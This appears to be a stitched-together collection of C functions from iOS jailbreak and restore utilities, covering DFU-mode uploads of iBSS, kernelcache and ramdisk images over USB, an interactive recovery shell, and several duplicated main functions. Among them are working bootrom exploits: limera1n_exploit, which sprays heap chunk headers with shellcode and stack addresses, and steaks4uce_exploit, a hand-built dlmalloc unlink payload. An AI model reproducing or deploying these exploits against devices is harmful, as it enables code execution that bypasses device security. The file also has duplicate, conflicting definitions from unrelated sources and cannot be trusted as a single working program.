int upload_kernelcache() { struct stat buf; char kernelcache[255]; irecv_error_t error = IRECV_E_SUCCESS; memset(kernelcache, '\0', 255); memset(&buf, '\0', sizeof(buf)); snprintf(kernelcache, 254, "kernelcache.release.%c%c%c", device->model[0], device->model[1], device->model[2]); debug("Checking if kernelcache already exists\n"); if (stat(kernelcache, &buf) != 0) { if (fetch_image(kernelcache, kernelcache) < 0) { error("Unable to upload kernelcache\n"); return -1; } } debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); error("Unable upload kernelcache\n"); return -1; } error = irecv_send_file(client, kernelcache, 1); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); error("Unable upload kernelcache\n"); return -1; } return 0; }
int upload_firmware_image(const char* type) { char image[255]; struct stat buf; irecv_error_t error = IRECV_E_SUCCESS; memset(image, '\0', 255); snprintf(image, 254, "%s.%s", type, device->model); debug("Checking if %s already exists\n", image); if (stat(image, &buf) != 0) { if (fetch_firmware_image(type, image) < 0) { error("Unable to upload firmware image\n"); return -1; } } debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("Unable to upload firmware image\n"); debug("%s\n", irecv_strerror(error)); return -1; } debug("Uploading %s to device\n", image); error = irecv_send_file(client, image, 1); if (error != IRECV_E_SUCCESS) { error("Unable to upload firmware image\n"); debug("%s\n", irecv_strerror(error)); return -1; } return 0; }
int main(int argc, char* argv[]) { int result = 0; if (argc != 3) { usage(); } const char* ibssFile = argv[1]; const char* kernelcacheFile = argv[2]; pois0n_init(); pois0n_set_callback(&print_progress, NULL); info("Waiting for device to enter DFU mode\n"); while(pois0n_is_ready()) { sleep(1); } info("Found device in DFU mode\n"); result = pois0n_is_compatible(); if (result < 0) { error("Your device in incompatible with this exploit!\n"); return result; } result = pois0n_injectonly(); if (result < 0) { error("Exploit injection failed!\n"); return result; } debug("Uploading %s to device\n", ibssFile); irecv_error_t error = irecv_send_file(client, ibssFile, 1); if(error != IRECV_E_SUCCESS) { error("Unable to upload iBSS\n"); debug("%s\n", irecv_strerror(error)); return -1; } client = irecv_reconnect(client, 10); debug("Uploading %s to device\n", kernelcacheFile); error = irecv_send_file(client, kernelcacheFile, 1); if(error != IRECV_E_SUCCESS) { error("Unable to upload kernelcache\n"); debug("%s\n", irecv_strerror(error)); return -1; } error = irecv_send_command(client, "bootx"); if(error != IRECV_E_SUCCESS) { error("Unable send the bootx command\n"); return -1; } pois0n_exit(); return 0; }
void init_shell(irecv_client_t client) { irecv_error_t error = 0; load_command_history(); irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); irecv_event_subscribe(client, IRECV_RECEIVED, &received_cb, NULL); irecv_event_subscribe(client, IRECV_PRECOMMAND, &precommand_cb, NULL); irecv_event_subscribe(client, IRECV_POSTCOMMAND, &postcommand_cb, NULL); while (!quit) { error = irecv_receive(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } char* cmd = readline("> "); if (cmd && *cmd) { error = irecv_send_command(client, cmd); if (error != IRECV_E_SUCCESS) { quit = 1; } append_command_to_history(cmd); free(cmd); } } }
int recovery_send_ticket(struct idevicerestore_client_t* client) { if (!client->tss) { error("ERROR: ApTicket requested but no TSS present\n"); return -1; } unsigned char* data = NULL; uint32_t size = 0; if (tss_get_ticket(client->tss, &data, &size) < 0) { error("ERROR: Unable to get ApTicket from TSS request\n"); return -1; } info("Sending APTicket (%d bytes)\n", size); irecv_error_t error = irecv_send_buffer(client->recovery->client, data, size, 0); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to send APTicket: %s\n", irecv_strerror(error)); free(data); return -1; } free(data); error = irecv_send_command(client->recovery->client, "ticket"); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to send ticket command\n"); return -1; } return 0; }
int postcommand_cb(irecv_client_t client, const irecv_event_t* event) { char* value = NULL; char* action = NULL; char* command = NULL; char* argument = NULL; irecv_error_t error = IRECV_E_SUCCESS; if (event->type == IRECV_POSTCOMMAND) { command = strdup(event->data); action = strtok(command, " "); if (!strcmp(action, "getenv")) { argument = strtok(NULL, " "); error = irecv_getenv(client, argument, &value); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); free(command); return error; } printf("%s\n", value); free(value); } if (!strcmp(action, "reboot")) { quit = 1; } } if (command) free(command); return 0; }
int execute_ibss_payload() { //int i = 0; char* bootargs = NULL; irecv_error_t error = IRECV_E_SUCCESS; debug("Initializing greenpois0n in iBSS\n"); irecv_send_command(client, "go"); // Code to detect whether to boot ramdisk or filesystem debug("Checking if device is already jailbroken\n"); error = irecv_getenv(client, "boot-args", &bootargs); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); error("Unable to read env var\n"); return -1; } // If boot-args hasn't been set then we've never been jailbroken if (!strcmp(bootargs, "") || !strcmp(bootargs, "0")) { debug("Booting jailbreak ramdisk\n"); if (boot_ramdisk() < 0) { error("Unable to boot device into tethered mode\n"); return -1; } } // If boot-args is 1 then boot device into tethered mode else if (!strcmp(bootargs, "1")) { debug("Booting tethered device\n"); if (boot_tethered() < 0) { error("Unable to boot device into tethered mode\n"); return -1; } } // If boot-args is 2, then don't boot kernel, just load iBSS payload else if (!strcmp(bootargs, "2")) { debug("Booting iBSS in payload mode\n"); return 0; } // If boot-args is 3, then don't boot kernel, just load iBoot payload else if (!strcmp(bootargs, "3")) { debug("Booting device in verbose mode\n"); if (boot_iboot() < 0) { error("Unable to boot device into verbose mode\n"); return -1; } } return 0; }
int recovery_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component) { unsigned int size = 0; unsigned char* data = NULL; char* path = NULL; irecv_error_t err = 0; if (client->tss) { if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build_identity\n", component); } } if (!path) { if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to get path for component '%s'\n", component); return -1; } } unsigned char* component_data = NULL; unsigned int component_size = 0; int ret = extract_component(client->ipsw, path, &component_data, &component_size); free(path); if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &data, &size); free(component_data); if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); return -1; } info("Sending %s (%d bytes)...\n", component, size); // FIXME: Did I do this right???? err = irecv_send_buffer(client->recovery->client, data, size, 0); free(data); if (err != IRECV_E_SUCCESS) { error("ERROR: Unable to send %s component: %s\n", component, irecv_strerror(err)); return -1; } return 0; }
int recovery_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component) { uint32_t size = 0; char* data = NULL; char* path = NULL; char* blob = NULL; irecv_error_t error = 0; if (client->tss) { if (tss_get_entry_path(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build_identity\n", component); } } if (!path) { if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to get path for component '%s'\n", component); if (path) free(path); return -1; } } if (client->tss) info("%s will be signed\n", component); if (ipsw_get_component_by_path(client->ipsw, client->tss, component, path, &data, &size) < 0) { error("ERROR: Unable to get component: %s\n", component); free(path); return -1; } info("Sending %s (%d bytes)...\n", component, size); // FIXME: Did I do this right???? error = irecv_send_buffer(client->recovery->client, data, size, 0); free(path); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to send %s component: %s\n", component, irecv_strerror(error)); free(data); return -1; } free(data); return 0; }
int dfu_send_buffer(struct idevicerestore_client_t* client, char* buffer, uint32_t size) { irecv_error_t error = 0; info("Sending data (%d bytes)...\n", size); error = irecv_send_buffer(client->dfu->client, buffer, size, 1); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to send data: %s\n", irecv_strerror(error)); return -1; } error = irecv_reset(client->dfu->client); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to reset device\n"); irecv_close(client->dfu->client); return -1; } return 0; }
int upload_firmware_payload(const char* type) { int size = 0; const unsigned char* payload = NULL; irecv_error_t error = IRECV_E_SUCCESS; switch (device->index) { case DEVICE_APPLETV2: if (!strcmp(type, "iBSS")) { payload = iBSS_k66ap; size = sizeof(iBSS_k66ap); debug("Loaded payload for iBSS on k66ap\n0"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_k66ap; size = sizeof(iBEC_k66ap); debug("Loaded payload for iBEC on k66ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_k66ap; size = sizeof(iBoot_k66ap); debug("Loaded payload for iBoot on k66ap\n"); } break; case DEVICE_IPAD1G: if (!strcmp(type, "iBSS")) { payload = iBSS_k48ap; size = sizeof(iBSS_k48ap); debug("Loaded payload for iBSS on k48ap\n0"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_k48ap; size = sizeof(iBEC_k48ap); debug("Loaded payload for iBEC on k48ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_k48ap; size = sizeof(iBoot_k48ap); debug("Loaded payload for iBoot on k48ap\n"); } break; case DEVICE_IPHONE3GS: if (!strcmp(type, "iBSS")) { payload = iBSS_n88ap; size = sizeof(iBSS_n88ap); debug("Loaded payload for iBSS on n88ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n88ap; size = sizeof(iBEC_n88ap); debug("Loaded payload for iBEC on n88ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n88ap; size = sizeof(iBoot_n88ap); debug("Loaded payload for iBoot on n88ap\n"); } break; case DEVICE_IPHONE4: if (!strcmp(type, "iBSS")) { payload = iBSS_n90ap; size = sizeof(iBSS_n90ap); debug("Loaded payload for iBSS on n90ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n90ap; size = sizeof(iBEC_n90ap); debug("Loaded payload for iBEC on n90ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n90ap; size = sizeof(iBoot_n90ap); debug("Loaded payload for iBoot on n90ap\n"); } break; case DEVICE_IPOD2G: if (!strcmp(type, "iBSS")) { payload = iBSS_n72ap; size = sizeof(iBSS_n72ap); debug("Loaded payload for iBSS on n72ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n72ap; size = sizeof(iBEC_n72ap); debug("Loaded payload for iBEC on n72ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n72ap; size = sizeof(iBoot_n72ap); debug("Loaded payload for iBoot on n72ap\n"); } break; case DEVICE_IPOD3G: if (!strcmp(type, "iBSS")) { payload = iBSS_n18ap; size = sizeof(iBSS_n18ap); debug("Loaded payload for iBSS on n18ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n18ap; size = sizeof(iBEC_n18ap); debug("Loaded payload for iBEC on n18ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n18ap; size = sizeof(iBoot_n18ap); debug("Loaded payload for iBoot on n18ap\n"); } break; case DEVICE_IPOD4G: if (!strcmp(type, "iBSS")) { payload = iBSS_n81ap; size = sizeof(iBSS_n81ap); debug("Loaded payload for iBSS on n81ap\n"); } /* if(!strcmp(type, "iBEC")) { payload = iBEC_n81ap; size = sizeof(iBEC_n81ap); debug("Loaded payload for iBEC on n81ap\n"); } */ if (!strcmp(type, "iBoot")) { payload = iBoot_n81ap; size = sizeof(iBoot_n81ap); debug("Loaded payload for iBoot on n81ap\n"); } break; } if (payload == NULL) { error("Unable to upload firmware payload\n"); return -1; } debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("Unable to upload firmware payload\n"); debug("%s\n", irecv_strerror(error)); return -1; } debug("Uploading %s payload\n", type); error = irecv_send_buffer(client, (unsigned char*) payload, size, 1); if (error != IRECV_E_SUCCESS) { error("Unable to upload %s payload\n", type); return -1; } return 0; }
int dfu_send_component(struct idevicerestore_client_t* client, plist_t build_identity, const char* component) { uint32_t size = 0; char* data = NULL; char* path = NULL; char* blob = NULL; irecv_error_t error = 0; if (client->tss) { if (tss_get_entry_path(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build_identity\n", component); } } if (!path) { if (build_identity_get_component_path(build_identity, component, &path) < 0) { error("ERROR: Unable to get path for component '%s'\n", component); if (path) free(path); return -1; } } if (client->tss) info("%s will be signed\n", component); if (ipsw_get_component_by_path(client->ipsw, client->tss, component, path, &data, &size) < 0) { error("ERROR: Unable to get component: %s\n", component); free(path); return -1; } if (!(client->flags & FLAG_CUSTOM) && (strcmp(component, "iBEC") == 0)) { char* ticket = NULL; uint32_t tsize = 0; if (tss_get_ticket(client->tss, &ticket, &tsize) < 0) { error("ERROR: Unable to get ApTicket from TSS request\n"); return -1; } uint32_t fillsize = 0; if ((tsize % 0x100) != 0) { fillsize = ((tsize / 0x100) + 1) * 0x100; } debug("ticket size = %d\nfillsize = %d\n", tsize, fillsize); char* newdata = (char*)malloc(size + fillsize); memcpy(newdata, ticket, tsize); memset(newdata+tsize, '\xFF', fillsize - tsize); memcpy(newdata+fillsize, data, size); free(data); data = newdata; size += fillsize; } info("Sending %s (%d bytes)...\n", component, size); // FIXME: Did I do this right???? error = irecv_send_buffer(client->dfu->client, data, size, 1); free(path); if (error != IRECV_E_SUCCESS) { error("ERROR: Unable to send %s component: %s\n", component, irecv_strerror(error)); free(data); return -1; } free(data); return 0; }
int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client) { irecv_error_t error = IRECV_E_SUCCESS; unsigned int i = 0; unsigned char buf[0x800]; unsigned char shellcode[0x800]; unsigned int max_size = 0x24000; //unsigned int load_address = 0x84000000; unsigned int stack_address = 0x84033F98; unsigned int shellcode_address = 0x84023001; unsigned int shellcode_length = 0; if (device->chip_id == 8930) { max_size = 0x2C000; stack_address = 0x8403BF9C; shellcode_address = 0x8402B001; } if (device->chip_id == 8920) { max_size = 0x24000; stack_address = 0x84033FA4; shellcode_address = 0x84023001; } memset(shellcode, 0x0, 0x800); shellcode_length = sizeof(limera1n_payload); memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("%s\n", irecv_strerror(error)); return -1; } memset(buf, 0xCC, 0x800); for(i = 0; i < 0x800; i += 0x40) { unsigned int* heap = (unsigned int*)(buf+i); heap[0] = 0x405; heap[1] = 0x101; heap[2] = shellcode_address; heap[3] = stack_address; } debug("Sending chunk headers\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); memset(buf, 0xCC, 0x800); for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); } debug("Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); debug("Sending fake data\n"); memset(buf, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); //debug("Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); irecv_reset(client); irecv_finish_transfer(client); debug("Exploit sent\n"); debug("Reconnecting to device\n"); client = irecv_reconnect(client, 7); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect\n"); return -1; } return 0; }
int tethered_boot(const char *ibssFile, const char *ibecFile, const char *kernelcacheFile, const char *ramdiskFile, const char *devicetreeFile) { int result = 0; irecv_error_t ir_error = IRECV_E_SUCCESS; irecv_client_t client = g_syringe_client; libpois0n_debug = 1; pois0n_init(); info("Waiting for device to enter DFU mode\n"); while(pois0n_is_ready()) { sleep(1); } info("Found device in DFU mode\n"); result = pois0n_is_compatible(); if (result < 0) { error("Your device in incompatible with this exploit!\n"); goto cleanup; } result = pois0n_injectonly(); if (result < 0) { error("Exploit injection failed!\n"); goto cleanup; } client = g_syringe_client; if (ibssFile != NULL) { debug("Uploading %s to device, mode: 0x%x\n", ibssFile, client->mode); ir_error = irecv_send_file(client, ibssFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBSS\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } sleep(10); } else { error("ibss can't be null\n"); result = -1; goto cleanup; } if (ibecFile != NULL) { client = g_syringe_client = irecv_reconnect(client, 10); debug("Uploading iBEC %s to device, mode: 0x%x\n", ibecFile, client->mode); ir_error = irecv_send_file(client, ibecFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBEC\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } sleep(5); } client = g_syringe_client = irecv_reconnect(client, 10); if (ramdiskFile != NULL) { debug("Uploading ramdisk %s to device\n", ramdiskFile); ir_error = irecv_send_file(client, ramdiskFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload ramdisk\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } sleep(5); ir_error = irecv_send_command(client, "ramdisk"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the ramdisk command\n"); result = -1; goto cleanup; } } if (devicetreeFile != NULL) { debug("Uploading device tree %s to device\n", devicetreeFile); ir_error = irecv_send_file(client, devicetreeFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload device tree\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } ir_error = irecv_send_command(client, "devicetree"); if(ir_error != IRECV_E_SUCCESS) { error("Unable to send the devicetree command\n"); result = -1; goto cleanup; } } if (kernelcacheFile != NULL) { debug("Uploading kernel %s to device, mode: 0x%x\n", kernelcacheFile, client->mode); ir_error = irecv_send_file(client, kernelcacheFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload kernelcache\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } ir_error = irecv_send_command(client, "bootx"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the bootx command\n"); result = -1; goto cleanup; } } else { error("kernelcache can't be null\n"); result = -1; goto cleanup; } result = 0; cleanup: fflush(stderr); if (g_syringe_client) { irecv_close(&g_syringe_client); g_syringe_client = NULL; } //pois0n_exit(); return result; }
int main(int argc, char* argv[]) { int result = 0; irecv_error_t ir_error = IRECV_E_SUCCESS; //int index; const char *ibssFile = NULL, *ibecFile = NULL, *kernelcacheFile = NULL, *ramdiskFile = NULL, *bgcolor = NULL, *bootlogo = NULL; int c; opterr = 0; while ((c = getopt (argc, argv, "vhi:b:k:r:l:c:")) != -1) switch (c) { case 'v': g_verbose = true; break; case 'h': usage(); break; case 'i': if (!file_exists(optarg)) { error("Cannot open iBSS file '%s'\n", optarg); return -1; } ibssFile = optarg; break; case 'b': if (!file_exists(optarg)) { error("Cannot open iBEC file '%s'\n", optarg); return -1; } ibecFile = optarg; break; case 'k': if (!file_exists(optarg)) { error("Cannot open kernelcache file '%s'\n", optarg); return -1; } kernelcacheFile = optarg; break; case 'r': if (!file_exists(optarg)) { error("Cannot open ramdisk file '%s'\n", optarg); return -1; } ramdiskFile = optarg; break; case 'l': if (!file_exists(optarg)) { error("Cannot open bootlogo file '%s'\n", optarg); return -1; } bootlogo = optarg; break; case 'c': bgcolor = optarg; break; default: usage(); } pois0n_init(); pois0n_set_callback(&print_progress, NULL); info("Waiting for device to enter DFU mode\n"); while(pois0n_is_ready()) { sleep(1); } info("Found device in DFU mode\n"); result = pois0n_is_compatible(); if (result < 0) { error("Your device in incompatible with this exploit!\n"); return result; } result = pois0n_injectonly(); if (result < 0) { error("Exploit injection failed!\n"); return result; } if (ibssFile != NULL) { debug("Uploading %s to device\n", ibssFile); ir_error = irecv_send_file(g_syringe_client, ibssFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBSS\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } sleep(10); } else { return 0; } if (ibecFile != NULL) { g_syringe_client = irecv_reconnect(g_syringe_client, 10); debug("Uploading iBEC %s to device\n", ibecFile); ir_error = irecv_send_file(g_syringe_client, ibecFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBEC\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } sleep(5); } g_syringe_client = irecv_reconnect(g_syringe_client, 10); if (ramdiskFile != NULL) { debug("Uploading ramdisk %s to device\n", ramdiskFile); ir_error = irecv_send_file(g_syringe_client, ramdiskFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload ramdisk\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } sleep(5); ir_error = irecv_send_command(g_syringe_client, "ramdisk"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the ramdisk command\n"); return -1; } } if (bootlogo != NULL) { debug("Uploading boot logo %s to device\n", bootlogo); ir_error = irecv_send_file(g_syringe_client, bootlogo, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload bootlogo\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } ir_error = irecv_send_command(g_syringe_client, "setpicture 1"); if(ir_error != IRECV_E_SUCCESS) { error("Unable to set picture\n"); return -1; } ir_error = irecv_send_command(g_syringe_client, "bgcolor 0 0 0"); if(ir_error != IRECV_E_SUCCESS) { error("Unable to set picture\n"); return -1; } } if (bgcolor != NULL) { char finalbgcolor[255]; sprintf(finalbgcolor, "bgcolor %s", bgcolor); ir_error = irecv_send_command(g_syringe_client, finalbgcolor); if(ir_error != IRECV_E_SUCCESS) { error("Unable set bgcolor\n"); return -1; } } if (kernelcacheFile != NULL) { debug("Uploading %s to device\n", kernelcacheFile); ir_error = irecv_send_file(g_syringe_client, kernelcacheFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload kernelcache\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } ir_error = irecv_send_command(g_syringe_client, "bootx"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the bootx command\n"); return -1; } } pois0n_exit(); return 0; }
int steaks4uce_exploit() { irecv_error_t error = IRECV_E_SUCCESS; int i, ret; unsigned char data[0x800]; unsigned char payload[] = { /* free'd buffer dlmalloc header: */ 0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk 0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk /* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */ 0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction 0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer 0xff, 0xff, 0xff, 0xff, // 0x10: (0x08) 0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (filled by the code just after) 0x00, 0x01, 0x00, 0x00, // 0x18: (0x10) 0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14) 0x00, 0x00, 0x00, 0x00, // 0x20: (0x18) 0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c) /* attack dlmalloc header: */ 0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk 0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-) 0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start() //0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack 0xfc, 0xd7, 0x02, 0x22, // 0x34: BK : exception_irq() LR in stack }; //info("Executing steaks4uce exploit ...\n"); //debug("Reseting usb counters.\n"); ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); if (ret < 0) { error("Failed to reset usb counters.\n"); return -1; } //debug("Padding to 0x23800...\n"); memset(data, 0, 0x800); for(i = 0; i < 0x23800 ; i+=0x800) { ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000); if (ret < 0) { error("Failed to push data to the device.\n"); return -1; } } //debug("Uploading shellcode.\n"); memset(data, 0, 0x800); memcpy(data, steaks4uce_payload, sizeof(steaks4uce_payload)); ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000); if (ret < 0) { error("Failed to upload shellcode.\n"); return -1; } //debug("Reseting usb counters.\n"); ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); if (ret < 0) { error("Failed to reset usb counters.\n"); return -1; } int send_size = 0x100 + sizeof(payload); *((unsigned int*) &payload[0x14]) = send_size; memset(data, 0, 0x800); memcpy(&data[0x100], payload, sizeof(payload)); ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000); if (ret < 0) { error("Failed to send steaks4uce to the device.\n"); return -1; } ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000); if (ret < 0) { error("Failed to execute steaks4uce.\n"); return -1; } info("Successfully exploited with steaks4uce!\n"); // debug("Reconnecting to device\n"); client = irecv_reconnect(client, 2); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect to the device\n"); return -1; } return 0; }
int main(int argc, char* argv[]) { int i = 0; int opt = 0; int action = 0; char* argument = NULL; irecv_error_t error = 0; if (argc == 1) print_usage(); while ((opt = getopt(argc, argv, "vhrsc:f:e:k::")) > 0) { switch (opt) { case 'v': verbose += 1; break; case 'h': print_usage(); break; case 'r': action = kResetDevice; break; case 's': action = kStartShell; break; case 'f': action = kSendFile; argument = optarg; break; case 'c': action = kSendCommand; argument = optarg; break; case 'k': action = kSendExploit; argument = optarg; break; case 'e': action = kSendScript; argument = optarg; break; default: fprintf(stderr, "Unknown argument\n"); return -1; } } if (verbose) irecv_set_debug_level(verbose); irecv_init(); irecv_client_t client = NULL; for (i = 0; i <= 5; i++) { debug("Attempting to connect... \n"); if (irecv_open(&client) != IRECV_E_SUCCESS) sleep(1); else break; if (i == 5) { return -1; } } switch (action) { case kResetDevice: irecv_reset(client); break; case kSendFile: irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 1); debug("%s\n", irecv_strerror(error)); break; case kSendCommand: error = irecv_send_command(client, argument); debug("%s\n", irecv_strerror(error)); break; case kSendExploit: if (argument != NULL) { irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 0); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } } error = irecv_send_exploit(client); debug("%s\n", irecv_strerror(error)); break; case kStartShell: init_shell(client); break; case kSendScript: error = irecv_execute_script(client, argument); if(error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); } break; default: fprintf(stderr, "Unknown action\n"); break; } irecv_close(client); return 0; }
int main(int argc, char* argv[]) { int i = 0; int opt = 0; int action = 0; unsigned long long ecid = 0; int mode = -1; char* argument = NULL; irecv_error_t error = 0; char* buffer = NULL; uint64_t buffer_length = 0; if (argc == 1) { print_usage(argc, argv); return 0; } while ((opt = getopt(argc, argv, "i:vhrsmnc:f:e:k::")) > 0) { switch (opt) { case 'i': if (optarg) { char* tail = NULL; ecid = strtoull(optarg, &tail, 16); if (tail && (tail[0] != '\0')) { ecid = 0; } if (ecid == 0) { fprintf(stderr, "ERROR: Could not parse ECID from argument '%s'\n", optarg); return -1; } } break; case 'v': verbose += 1; break; case 'h': print_usage(argc, argv); return 0; case 'm': action = kShowMode; break; case 'n': action = kRebootToNormalMode; break; case 'r': action = kResetDevice; break; case 's': action = kStartShell; break; case 'f': action = kSendFile; argument = optarg; break; case 'c': action = kSendCommand; argument = optarg; break; case 'k': action = kSendExploit; argument = optarg; break; case 'e': action = kSendScript; argument = optarg; break; default: fprintf(stderr, "Unknown argument\n"); return -1; } } if (verbose) irecv_set_debug_level(verbose); irecv_init(); irecv_client_t client = NULL; for (i = 0; i <= 5; i++) { debug("Attempting to connect... \n"); if (irecv_open_with_ecid(&client, ecid) != IRECV_E_SUCCESS) sleep(1); else break; if (i == 5) { return -1; } } irecv_device_t device = NULL; irecv_devices_get_device_by_client(client, &device); if (device) debug("Connected to %s, model %s, cpid 0x%04x, bdid 0x%02x\n", device->product_type, device->hardware_model, device->chip_id, device->board_id); switch (action) { case kResetDevice: irecv_reset(client); break; case kSendFile: irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 1); debug("%s\n", irecv_strerror(error)); break; case kSendCommand: error = irecv_send_command(client, argument); debug("%s\n", irecv_strerror(error)); break; case kSendExploit: if (argument != NULL) { irecv_event_subscribe(client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(client, argument, 0); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } } error = irecv_trigger_limera1n_exploit(client); debug("%s\n", irecv_strerror(error)); break; case kStartShell: init_shell(client); break; case kSendScript: buffer_read_from_filename(argument, &buffer, &buffer_length); if (buffer) { buffer[buffer_length] = '\0'; error = irecv_execute_script(client, buffer); if(error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); } free(buffer); } else { fprintf(stderr, "Could not read file '%s'\n", argument); } break; case kShowMode: irecv_get_mode(client, &mode); printf("%s Mode\n", mode_to_str(mode)); break; case kRebootToNormalMode: error = irecv_setenv(client, "auto-boot", "true"); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } error = irecv_saveenv(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); break; } error = irecv_reboot(client); if (error != IRECV_E_SUCCESS) { debug("%s\n", irecv_strerror(error)); } else { debug("%s\n", irecv_strerror(error)); } break; default: fprintf(stderr, "Unknown action\n"); break; } irecv_close(client); return 0; }